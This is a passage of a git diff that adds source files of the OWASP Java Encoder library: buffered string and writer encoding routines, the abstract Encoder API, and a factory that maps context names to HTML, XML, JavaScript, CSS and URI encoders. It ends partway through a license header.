+ * INPUT_BUFFER_SIZE used for holding the characters to encode.
+ */
+ final CharBuffer _input = CharBuffer.allocate(INPUT_BUFFER_SIZE);
+ /**
+ * The output buffer. A heap-allocated, array-backed buffer of
+ * OUTPUT_BUFFER_SIZE used for holding the encoded output.
+ */
+ final CharBuffer _output = CharBuffer.allocate(OUTPUT_BUFFER_SIZE);
+
+ /**
+ * The core String encoding routine of this class. It uses the input
+ * and output buffers to allow the encoders to work in reuse arrays.
+ * When the input and/or output exceeds the capacity of the reused
+ * arrays, temporary ones are allocated and then discarded after
+ * the encode is done.
+ *
+ * @param encoder the encoder to use
+ * @param str the string to encode
+ * @param j the offset in {@code str} to start encoding
+ * @return the encoded result
+ */
+ String encode(Encoder encoder, String str, int j) {
+ final int n = str.length();
+ final int remaining = n - j;
+
+ if (remaining <= INPUT_BUFFER_SIZE && j <= OUTPUT_BUFFER_SIZE) {
+ // the remaining input to encode fits completely in the pre-
+ // allocated buffer.
+ str.getChars(0, j, _output.array(), 0);
+ str.getChars(j, n, _input.array(), 0);
+
+ _input.limit(remaining).position(0);
+ _output.clear().position(j);
+
+ CoderResult cr = encoder.encodeArrays(_input, _output, true);
+ if (cr.isUnderflow()) {
+ return new String(_output.array(), 0, _output.position());
+ }
+
+ // else, it's an overflow, we need to use a new output buffer
+ // we'll allocate this buffer to be the exact size of the worst
+ // case, guaranteeing a second overflow would not be possible.
+ CharBuffer tmp = CharBuffer.allocate(_output.position()
+ + encoder.maxEncodedLength(_input.remaining()));
+
+ // copy over everything that has been encoded so far
+ tmp.put(_output.array(), 0, _output.position());
+
+ cr = encoder.encodeArrays(_input, tmp, true);
+ if (cr.isOverflow()) {
+ throw new AssertionError("unexpected result from encoder");
+ }
+
+ return new String(tmp.array(), 0, tmp.position());
+ } else {
+ // the input it too large for our pre-allocated buffers
+ // we'll use a temporary direct heap allocation
+ final int m = j + encoder.maxEncodedLength(remaining);
+ CharBuffer buffer = CharBuffer.allocate(m);
+ str.getChars(0, j, buffer.array(), 0);
+ str.getChars(j, n, buffer.array(), m - remaining);
+
+ CharBuffer input = buffer.duplicate();
+ input.limit(m).position(m-remaining);
+ buffer.position(j);
+
+ CoderResult cr = encoder.encodeArrays(input, buffer, true);
+
+ if (cr.isOverflow()) {
+ throw new AssertionError("unexpected result from encoder");
+ }
+
+ return new String(buffer.array(), 0, buffer.position());
+ }
+ }
+
+ /**
+ * The core Writer encoding routing of this class. It uses the
+ * input and output buffers to allow the encoders to reuse arrays.
+ * Unlike the string version, this method will never allocate more
+ * memory, instead encoding is done in batches and flushed to the
+ * writer in batches as large as possible.
+ *
+ * @param encoder the encoder to use
+ * @param out where to write the encoded output
+ * @param str the string to encode
+ * @param j the position in the string at which the first character
+ * needs encoding.
+ * @throws IOException if thrown by the writer.
+ */
+ void encode(Encoder encoder, Writer out, String str, int j)
+ throws IOException
+ {
+ out.write(str, 0, j);
+
+ final int n = str.length();
+
+ _input.clear();
+ _output.clear();
+
+ final char[] inputArray = _input.array();
+ final char[] outputArray = _output.array();
+
+ for (;;) {
+ final int remainingInput = n - j;
+ final int startPosition = _input.position();
+ final int batchSize = Math.min(remainingInput, _input.remaining());
+ str.getChars(j, j+batchSize, inputArray, startPosition);
+
+ _input.limit(startPosition + batchSize);
+
+
+ for (;;) {
+ CoderResult cr = encoder.encodeArrays(
+ _input, _output, batchSize == remainingInput);
+
+ if (cr.isUnderflow()) {
+ // get next input batch
+ break;
+ }
+
+ // else, output buffer full, flush and continue.
+ out.write(outputArray, 0, _output.position());
+ _output.clear();
+ }
+
+ j += _input.position() - startPosition;
+
+ if (j == n) {
+ // done. flush remaining output buffer and return
+ out.write(outputArray, 0, _output.position());
+ return;
+ }
+
+ _input.compact();
+ }
+ }
+ }
+}
diff --git a/core/src/main/java/org/owasp/encoder/EncodedWriter.java b/core/src/main/java/org/owasp/encoder/EncodedWriter.java
new file mode 100644
index 0000000..8a233a7
--- /dev/null
+++ b/core/src/main/java/org/owasp/encoder/EncodedWriter.java
@@ -0,0 +1,215 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+package org.owasp.encoder;
+
+import java.io.IOException;
+import java.io.Writer;
+import java.nio.CharBuffer;
+import java.nio.charset.CoderResult;
+
+/**
+ * EncodedWriter -- A writer that encodes all input for a specific context and writes the encoded output to another writer.
+ *
+ * @author Jeff Ichnowski
+ */
+public class EncodedWriter extends Writer {
+
+ /**
+ * Buffer size to allocate.
+ *
+ */
+ static final int BUFFER_SIZE = 1024;
+ /**
+ * Buffer to use for handling characters remaining in the input buffer after an encode. The value is set high enough to handle
+ * the lookaheads of all the encoders in the package.
+ */
+ static final int LEFT_OVER_BUFFER = 16;
+
+ /**
+ * The wrapped writer.
+ */
+ private Writer _out;
+
+ /**
+ * The encoder used to encode input to the output writer.
+ */
+ private Encoder _encoder;
+
+ /**
+ * Where encoded output is buffered before sending on to the output writer.
+ */
+ private CharBuffer _buffer = CharBuffer.allocate(BUFFER_SIZE);
+
+ /**
+ * Some encoders require more input or an explicit end-of-input flag before they will process the remaining characters of an
+ * input buffer. Because the writer API cannot pass this information on to the caller (e.g. by returning how many bytes were
+ * actually written), this writer implementation must buffer up the remaining characters between calls. The
+ * <code>_hasLeftOver</code> boolean is a flag used to indicate that there are left over characters in the buffer.
+ */
+ private boolean _hasLeftOver;
+
+ /**
+ * See comment on _hasLeftOver. This buffer is created on-demand once. Whether it has anything to flush is determined by the
+ * _hasLeftOver flag.
+ */
+ private CharBuffer _leftOverBuffer;
+
+ /**
+ * Creates an EncodedWriter that uses the specified encoder to encode all input before sending it to the wrapped writer.
+ *
+ * @param out the target for all writes
+ * @param encoder the encoder to use
+ */
+ public EncodedWriter(Writer out, Encoder encoder) {
+ super(out);
+
+// Reduntant null check, super(out) checks for null and throws NPE.
+// if (out == null) {
+// throw new NullPointerException("writer must not be null");
+// }
+ if (encoder == null) {
+ throw new NullPointerException("encoder must not be null");
+ }
+
+ _out = out;
+
+ _encoder = encoder;
+ }
+
+ /**
+ * Creates an EncodedWriter that uses the specified encoder to encode all input before sending it to the wrapped writer. This
+ * method is equivalent to calling:
+ * <pre>
+ * new EncodedWriter(out, Encoders.forName(contextName));
+ * </pre>
+ *
+ * @param out the target for all writes
+ * @param contextName the encoding context name.
+ * @throws UnsupportedContextException if the contextName is unrecognized or not supported.
+ */
+ public EncodedWriter(Writer out, String contextName) throws UnsupportedContextException {
+ this(out, Encoders.forName(contextName));
+ }
+
+ @Override
+ public void write(char[] cbuf, int off, int len) throws IOException {
+ synchronized (lock) {
+ CharBuffer input = CharBuffer.wrap(cbuf);
+ input.limit(off + len).position(off);
+
+ flushLeftOver(input);
+
+ for (;;) {
+ CoderResult cr = _encoder.encode(input, _buffer, false);
+
+ if (cr.isUnderflow()) {
+ if (input.hasRemaining()) {
+ if (_leftOverBuffer == null) {
+ _leftOverBuffer = CharBuffer.allocate(LEFT_OVER_BUFFER);
+ }
+ _leftOverBuffer.put(input);
+ _hasLeftOver = true;
+ }
+ return;
+ }
+ if (cr.isOverflow()) {
+ flushBufferToWriter();
+ }
+ }
+ }
+ }
+
+ /**
+ * Flushes the contents of the buffer to the writer and resets the buffer to make room for more input.
+ *
+ * @throws IOException thrown by the wrapped output.
+ */
+ private void flushBufferToWriter() throws IOException {
+ _out.write(_buffer.array(), 0, _buffer.position());
+ _buffer.clear();
+ }
+
+ /**
+ * Flushes the left-over buffer. Characters from the input buffer are used to add more data to the _leftOverBuffer in order to
+ * make the flush happen.
+ *
+ * @param input the next input to encode, or null if at end of file.
+ * @throws IOException from the underlying writer.
+ */
+ private void flushLeftOver(CharBuffer input) throws IOException {
+ if (!_hasLeftOver) {
+ return;
+ }
+
+ for (;;) {
+ if (input != null && input.hasRemaining()) {
+ _leftOverBuffer.put(input.get());
+ }
+
+ _leftOverBuffer.flip();
+ CoderResult cr = _encoder.encode(_leftOverBuffer, _buffer, input == null);
+
+ if (cr.isUnderflow()) {
+ if (_leftOverBuffer.hasRemaining()) {
+ _leftOverBuffer.compact();
+ } else {
+ break;
+ }
+ }
+ if (cr.isOverflow()) {
+ flushBufferToWriter();
+ }
+ }
+
+ _hasLeftOver = false;
+ _leftOverBuffer.clear();
+ }
+
+ @Override
+ public void flush() throws IOException {
+ synchronized (lock) {
+ flushBufferToWriter();
+ _out.flush();
+ }
+ }
+
+ @Override
+ public void close() throws IOException {
+ synchronized (lock) {
+ flushLeftOver(null);
+ flushBufferToWriter();
+ _out.close();
+ }
+ }
+}
diff --git a/core/src/main/java/org/owasp/encoder/Encoder.java b/core/src/main/java/org/owasp/encoder/Encoder.java
new file mode 100644
index 0000000..3c5656e
--- /dev/null
+++ b/core/src/main/java/org/owasp/encoder/Encoder.java
@@ -0,0 +1,264 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder;
+
+import java.nio.CharBuffer;
+import java.nio.charset.CoderResult;
+
+/**
+ * <p>This is the low-level encoding API. For each flavor of encoding
+ * there is an instance of this class that performs the actual
+ * encoding. Overriding and implementing Encoders outside of the
+ * OWASP Encoder's project is not currently supported.</p>
+ *
+ * <p>Unless otherwise documented, instances of these classes are
+ * thread-safe. Encoders implementations do not generally carry
+ * state, and if they do the state will be flush with a call to {@link
+ * #encode(java.nio.CharBuffer, java.nio.CharBuffer, boolean)} with
+ * {@code endOfInput} set to {@code true}.</p>
+ *
+ * <p>To use an Encoder instance directly, repeatedly call {@link
+ * #encode(java.nio.CharBuffer, java.nio.CharBuffer, boolean)} with
+ * the {@code endOfInput} parameter set to {@code false} while there
+ * is (the possibility of) more input to encode. Once there is no
+ * more input to encode, call {@link #encode(java.nio.CharBuffer,
+ * java.nio.CharBuffer, boolean)} with {@code endOfInput} set to
+ * {@code true} until the method returns {@link
+ * java.nio.charset.CoderResult#UNDERFLOW}.</p>
+ *
+ * <p>In general, this class is not expected to be needed directly.
+ * Use the {@link Encode} fluent interface for encoding Strings or
+ * {@link EncodedWriter} for large blocks of contextual encoding.</p>
+ *
+ * @author Jeff Ichnowski
+ * @see Encode
+ * @see EncodedWriter
+ */
+public abstract class Encoder {
+ /**
+ * Hexadecimal conversion array. Package private to prevent corruption.
+ */
+ static final char[] HEX = "0123456789abcdef".toCharArray();
+
+ /**
+ * Bit-shift used for encoding values in hexadecimal.
+ */
+ static final int HEX_SHIFT = 4;
+
+ /**
+ * Bit-mask used for encoding values in hexadecimal.
+ */
+ static final int HEX_MASK = 0xf;
+
+ /**
+ * Package-private constructor to prevent having to support
+ * external implementations of this class. This may be opened up
+ * in future releases.
+ */
+ Encoder() {}
+
+ /**
+ * <p>This is the kernel of encoding. Currently only CharBuffers
+ * backed by arrays (i.e. {@link java.nio.CharBuffer#hasArray()}
+ * returns {@code true}) are supported. <strong>Using a
+ * direct-mapped CharBuffer will result in an
+ * UnsupportedOperationException</strong>, though this behavior
+ * may change in future releases.</p>
+ *
+ * <p>This method should be called repeatedly while {@code
+ * endOfInput} set to {@code false} while there is more input.
+ * Once there is no more input, this method should be called
+ * {@code endOfInput} set to {@code false} until {@link
+ * java.nio.charset.CoderResult#UNDERFLOW} is returned.</p>
+ *
+ * <p>After any call to this method, except when {@code
+ * endOfInput} is {@code true} and the method returns {@code
+ * UNDERFLOW}, there may be characters left to encode in the
+ * {@code input} buffer (i.e. {@code input.hasRemaining() ==
+ * true}). This will happen when the encoder needs to see more
+ * input before determining what to do--for example when encoding
+ * for CDATA, if the input ends with {@code "foo]]"}, the encoder
+ * will need to see the next character to determine if it is a "&gt;"
+ * or not.</p>
+ *
+ * <p>Example usage:</p>
+ * <pre>
+ * CharBuffer input = CharBuffer.allocate(1024);
+ * CharBuffer output = CharBuffer.allocate(1024);
+ * CoderResult cr;
+ * // assuming doRead fills in the input buffer or
+ * // returns -1 at end of input
+ * while(doRead(input) != -1) {
+ * input.flip();
+ * for (;;) {
+ * cr = encoder.encode(input, output, false);
+ * if (cr.isUnderflow()) {
+ * break;
+ * }
+ * if (cr.isOverflow()) {
+ * // assuming doWrite flushes the encoded
+ * // characters somewhere.
+ * output.flip();
+ * doWrite(output);
+ * output.compact();
+ * }
+ * }
+ * input.compact();
+ * }
+ *
+ * // at end of input
+ * input.flip();
+ * do {
+ * cr = encoder.encode(input, output, true);
+ * output.flip();
+ * doWrite(output);
+ * output.compact();
+ * } while (cr.isOverflow());
+ * </pre>
+ *
+ * @param input the input buffer to encode
+ * @param output the output buffer to receive the encoded results
+ * @param endOfInput set to {@code true} if there is no more input, and any
+ * remaining characters at the end of input will either be encoded or
+ * replaced as invalid.
+ * @return Either {@link java.nio.charset.CoderResult#UNDERFLOW}
+ * or {@link java.nio.charset.CoderResult#OVERFLOW}. No other
+ * CoderResult value will be returned. Characters or sequences
+ * that might conceivably return and invalid or unmappable
+ * character result (as part of the nio Charset API) are
+ * automatically replaced to avoid security implications.
+ */
+ public CoderResult encode(CharBuffer input, CharBuffer output, boolean endOfInput) {
+ if (input.hasRemaining()) {
+ if (input.hasArray() && output.hasArray()) {
+ return encodeArrays(input, output, endOfInput);
+ } else {
+ return encodeBuffers(input, output, endOfInput);
+ }
+ } else {
+ return CoderResult.UNDERFLOW;
+ }
+ }
+
+ /**
+ * The core encoding loop used when both the input and output buffers
+ * are array backed. The loop is expected to fetch the arrays and
+ * interact with the arrays directly for performance.
+ *
+ * @param input the input buffer.
+ * @param output the output buffer.
+ * @param endOfInput when true, this is the last input to encode
+ * @return UNDERFLOW or OVERFLOW
+ */
+ CoderResult encodeArrays(CharBuffer input, CharBuffer output, boolean endOfInput) {
+ throw new UnsupportedOperationException();
+ }
+
+ /**
+ * The core encoding loop used when either or both input and output
+ * buffers are NOT array-backed. E.g. they are direct buffers or
+ * perhaps the input buffer is a read-only wrapper. In any case,
+ * this method is not currently implemented by any of the encoder
+ * implementations since it is not expected to be common use-case.
+ * The stub is included here for completeness and to demarcate
+ * where the non-array-backed use-case would be included.
+ *
+ * @param input the input buffer.
+ * @param output the output buffer.
+ * @param endOfInput when true, this is the last input to encode
+ * @return never returns.
+ * @throws UnsupportedOperationException -- always
+ */
+ CoderResult encodeBuffers(CharBuffer input, CharBuffer output, boolean endOfInput)
+ throws UnsupportedOperationException
+ {
+ throw new UnsupportedOperationException();
+ }
+
+ /**
+ * Returns the maximum encoded length (in chars) of an input sequence of
+ * {@code n} characters.
+ *
+ * @param n the number of characters of input
+ * @return the worst-case number of characters required to encode
+ */
+ abstract int maxEncodedLength(int n);
+
+ /**
+ * Scans the input string for the first character index that requires
+ * encoding. If the entire input does not require encoding then the
+ * length is returned. This method is used by the Encode.forXYZ methods
+ * to return input strings unchanged when possible.
+ *
+ * @param input the input to check for encoding
+ * @param off the offset of the first character to check
+ * @param len the number of characters to check
+ * @return the index of the first character to encode. The return value
+ * will be {@code off+len} if no characters in the input require encoding.
+ */
+ abstract int firstEncodedOffset(String input, int off, int len);
+
+ /**
+ * Internal helper method to properly position buffers after encoding up
+ * until an overflow.
+ *
+ * @param input the input buffer
+ * @param i the array offset in the input buffer (translated to position)
+ * @param output the output buffer
+ * @param j the array offset in the output buffer (translated to position)
+ * @return CoderResult.OVERFLOW
+ */
+ static CoderResult overflow(CharBuffer input, int i, CharBuffer output, int j) {
+ input.position(i - input.arrayOffset());
+ output.position(j - output.arrayOffset());
+ return CoderResult.OVERFLOW;
+ }
+
+ /**
+ * Internal helper method to properly position buffers after encoding up
+ * until an underflow.
+ *
+ * @param input the input buffer
+ * @param i the array offset in the input buffer (translated to position)
+ * @param output the output buffer
+ * @param j the array offset in the output buffer (translated to position)
+ * @return CoderResult.UNDERFLOW
+ */
+ static CoderResult underflow(CharBuffer input, int i, CharBuffer output, int j) {
+ input.position(i - input.arrayOffset());
+ output.position(j - output.arrayOffset());
+ return CoderResult.UNDERFLOW;
+ }
+}
diff --git a/core/src/main/java/org/owasp/encoder/Encoders.java b/core/src/main/java/org/owasp/encoder/Encoders.java
new file mode 100644
index 0000000..3879fd0
--- /dev/null
+++ b/core/src/main/java/org/owasp/encoder/Encoders.java
@@ -0,0 +1,260 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+package org.owasp.encoder;
+
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * Encoders -- Public factory method for obtaining instances of Encoders.
+ * Classes implementing the encoders are not directly exposed as part of the API
+ * since encoding strategies are subject to change. In many cases encoders will
+ * share the same implementation, but have different internal flags for how to
+ * handle varied content. For example the XML_CONTENT and XML_ATTRIBUTE contexts
+ * may currently share the same class with each instances having a different set
+ * of flags. Future version may optimize them into different classes.
+ *
+ * <p>
+ * All encoders returned by the factory are thread-safe.</p>
+ *
+ * @author Jeff Ichnowski
+ */
+public final class Encoders {
+
+ /**
+ * Name of {@linkplain Encode#forHtml(String) HTML general} context.
+ */
+ public static final String HTML = "html";
+ /**
+ * Name of {@linkplain Encode#forHtmlContent(String) HTML content} context.
+ */
+ public static final String HTML_CONTENT = "html-content";
+ /**
+ * Name of {@linkplain Encode#forHtmlAttribute(String) HTML attribute}
+ * context.
+ */
+ public static final String HTML_ATTRIBUTE = "html-attribute";
+ /**
+ * Name of
+ * {@linkplain Encode#forHtmlUnquotedAttribute(String) unquoted HTML attribute}
+ * context.
+ */
+ public static final String HTML_UNQUOTED_ATTRIBUTE = "html-attribute-unquoted";
+ /**
+ * Name of {@linkplain Encode#forXml(String) XML general} context.
+ */
+ public static final String XML = "xml";
+ /**
+ * Name of {@linkplain Encode#forXmlContent(String) XML content} context.
+ */
+ public static final String XML_CONTENT = "xml-content";
+ /**
+ * Name of {@linkplain Encode#forXmlAttribute(String) XML attribute}
+ * context.
+ */
+ public static final String XML_ATTRIBUTE = "xml-attribute";
+ /**
+ * Name of {@linkplain Encode#forXmlComment(String) XML comment} context.
+ */
+ public static final String XML_COMMENT = "xml-comment";
+ /**
+ * Name of {@linkplain Encode#forCDATA(String) CDATA} context.
+ */
+ public static final String CDATA = "cdata";
+ /**
+ * Name of {@linkplain Encode#forCssString(String) CSS string} context.
+ */
+ public static final String CSS_STRING = "css-string";
+ /**
+ * Name of {@linkplain Encode#forCssUrl(String) CSS URL} context.
+ */
+ public static final String CSS_URL = "css-url";
+ /**
+ * Name of {@linkplain Encode#forJava(String) Java String} context.
+ */
+ public static final String JAVA = "java";
+ /**
+ * Name of {@linkplain Encode#forJavaScript(String) JavaScript general}
+ * context.
+ */
+ public static final String JAVASCRIPT = "javascript";
+ /**
+ * Name of
+ * {@linkplain Encode#forJavaScriptAttribute(String) JavaScript attribute}
+ * context.
+ */
+ public static final String JAVASCRIPT_ATTRIBUTE = "javascript-attribute";
+ /**
+ * Name of {@linkplain Encode#forJavaScriptBlock(String) JavaScript block}
+ * context.
+ */
+ public static final String JAVASCRIPT_BLOCK = "javascript-block";
+ /**
+ * Name of {@linkplain Encode#forJavaScriptSource(String) JavaScript source}
+ * context.
+ */
+ public static final String JAVASCRIPT_SOURCE = "javascript-source";
+ /**
+ * Name of {@linkplain Encode#forUri(String) URI} context.
+ */
+ public static final String URI = "uri";
+ /**
+ * Name of {@linkplain Encode#forUriComponent(String) URI component}
+ * context.
+ */
+ public static final String URI_COMPONENT = "uri-component";
+ /**
+ * Map from encoder name to encoder singleton.
+ */
+ private static final Map<String, Encoder> ENCODERS_MAP
+ = new HashMap<String, Encoder>(32);
+ // XML and HTML use the same encoder implementations currently
+ /**
+ * Encoder for general XML/HTML contexts.
+ */
+ static final XMLEncoder XML_ENCODER
+ = map(HTML, map(XML, new XMLEncoder(XMLEncoder.Mode.ALL)));
+ /**
+ * Encoder for XML/HTML content contexts.
+ */
+ static final XMLEncoder XML_CONTENT_ENCODER
+ = map(HTML_CONTENT, map(XML_CONTENT, new XMLEncoder(XMLEncoder.Mode.CONTENT)));
+ /**
+ * Encoder for XML/HTML attribute contexts.
+ */
+ static final XMLEncoder XML_ATTRIBUTE_ENCODER
+ = map(HTML_ATTRIBUTE, map(XML_ATTRIBUTE, new XMLEncoder(XMLEncoder.Mode.ATTRIBUTE)));
+ /**
+ * Encoder for XML comments.
+ */
+ static final XMLCommentEncoder XML_COMMENT_ENCODER
+ = map(XML_COMMENT, new XMLCommentEncoder());
+ /**
+ * Encoder for CDATA contexts.
+ */
+ static final CDATAEncoder CDATA_ENCODER
+ = map(CDATA, new CDATAEncoder());
+ /**
+ * Encoder for unquoted HTML attributes.
+ */
+ static final HTMLEncoder HTML_UNQUOTED_ATTRIBUTE_ENCODER
+ = map(HTML_UNQUOTED_ATTRIBUTE, new HTMLEncoder());
+ /**
+ * Encoder for general JavaScript contexts.
+ */
+ static final JavaScriptEncoder JAVASCRIPT_ENCODER
+ = map(JAVASCRIPT, new JavaScriptEncoder(JavaScriptEncoder.Mode.HTML, false));
+ /**
+ * Encoder for JavaScript appearing in XML/HTML attributes.
+ */
+ static final JavaScriptEncoder JAVASCRIPT_ATTRIBUTE_ENCODER
+ = map(JAVASCRIPT_ATTRIBUTE, new JavaScriptEncoder(JavaScriptEncoder.Mode.ATTRIBUTE, false));
+ /**
+ * Encoder for JavaScript appearing in HTML script blocks.
+ */
+ static final JavaScriptEncoder JAVASCRIPT_BLOCK_ENCODER
+ = map(JAVASCRIPT_BLOCK, new JavaScriptEncoder(JavaScriptEncoder.Mode.BLOCK, false));
+ /**
+ * Encoder for JavaScript in stand-alone contexts.
+ */
+ static final JavaScriptEncoder JAVASCRIPT_SOURCE_ENCODER
+ = map(JAVASCRIPT_SOURCE, new JavaScriptEncoder(JavaScriptEncoder.Mode.SOURCE, false));
+ /**
+ * Encoder for full URIs.
+ */
+ static final URIEncoder URI_ENCODER
+ = map(URI, new URIEncoder(URIEncoder.Mode.FULL_URI));
+ /**
+ * Encoder for components of URIs.
+ */
+ static final URIEncoder URI_COMPONENT_ENCODER
+ = map(URI_COMPONENT, new URIEncoder(URIEncoder.Mode.COMPONENT));
+ /**
+ * Encoder for Java strings.
+ */
+ static final JavaEncoder JAVA_ENCODER
+ = map(JAVA, new JavaEncoder());
+ /**
+ * Encoder for CSS strings.
+ */
+ static final CSSEncoder CSS_STRING_ENCODER
+ = map(CSS_STRING, new CSSEncoder(CSSEncoder.Mode.STRING));
+ /**
+ * Encoder for CSS URL values.
+ */
+ static final CSSEncoder CSS_URL_ENCODER
+ = map(CSS_URL, new CSSEncoder(CSSEncoder.Mode.URL));
+
+ /**
+ * Internal method to setup and map encoder singletons.
+ *
+ * @param name -- name of the encoder (one of the constants above)
+ * @param encoder -- the encoder singleton instance
+ * @param <T> the encoder type
+ * @return the encoder argument.
+ */
+ private static <T extends Encoder> T map(String name, T encoder) {
+ Encoder old = ENCODERS_MAP.put(name, encoder);
+ assert old == null;
+ return encoder;
+ }
+
+ /**
+ * Returns a new instance of an Encoder for the specified context. The
+ * returned instance is thread-safe.
+ *
+ * @param contextName the context name (one of the String constants defined
+ * in this class)
+ * @return an encoder for the specified context.
+ * @throws NullPointerException if {@code contextName} is null
+ * @throws UnsupportedContextException if {@code contextName} is not
+ * recognized.
+ */
+ public static Encoder forName(String contextName) throws NullPointerException, UnsupportedContextException {
+ if (contextName == null) {
+ throw new NullPointerException();
+ }
+ Encoder encoder = ENCODERS_MAP.get(contextName);
+ if (encoder == null) {
+ throw new UnsupportedContextException(contextName);
+ }
+ return encoder;
+ }
+
+ /**
+ * No instances.
+ */
+ private Encoders() {
+ }
+}
diff --git a/core/src/main/java/org/owasp/encoder/HTMLEncoder.java b/core/src/main/java/org/owasp/encoder/HTMLEncoder.java
new file mode 100644
index 0000000..068fba0
--- /dev/null
+++ b/core/src/main/java/org/owasp/encoder/HTMLEncoder.java
@@ -0,0 +1,499 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
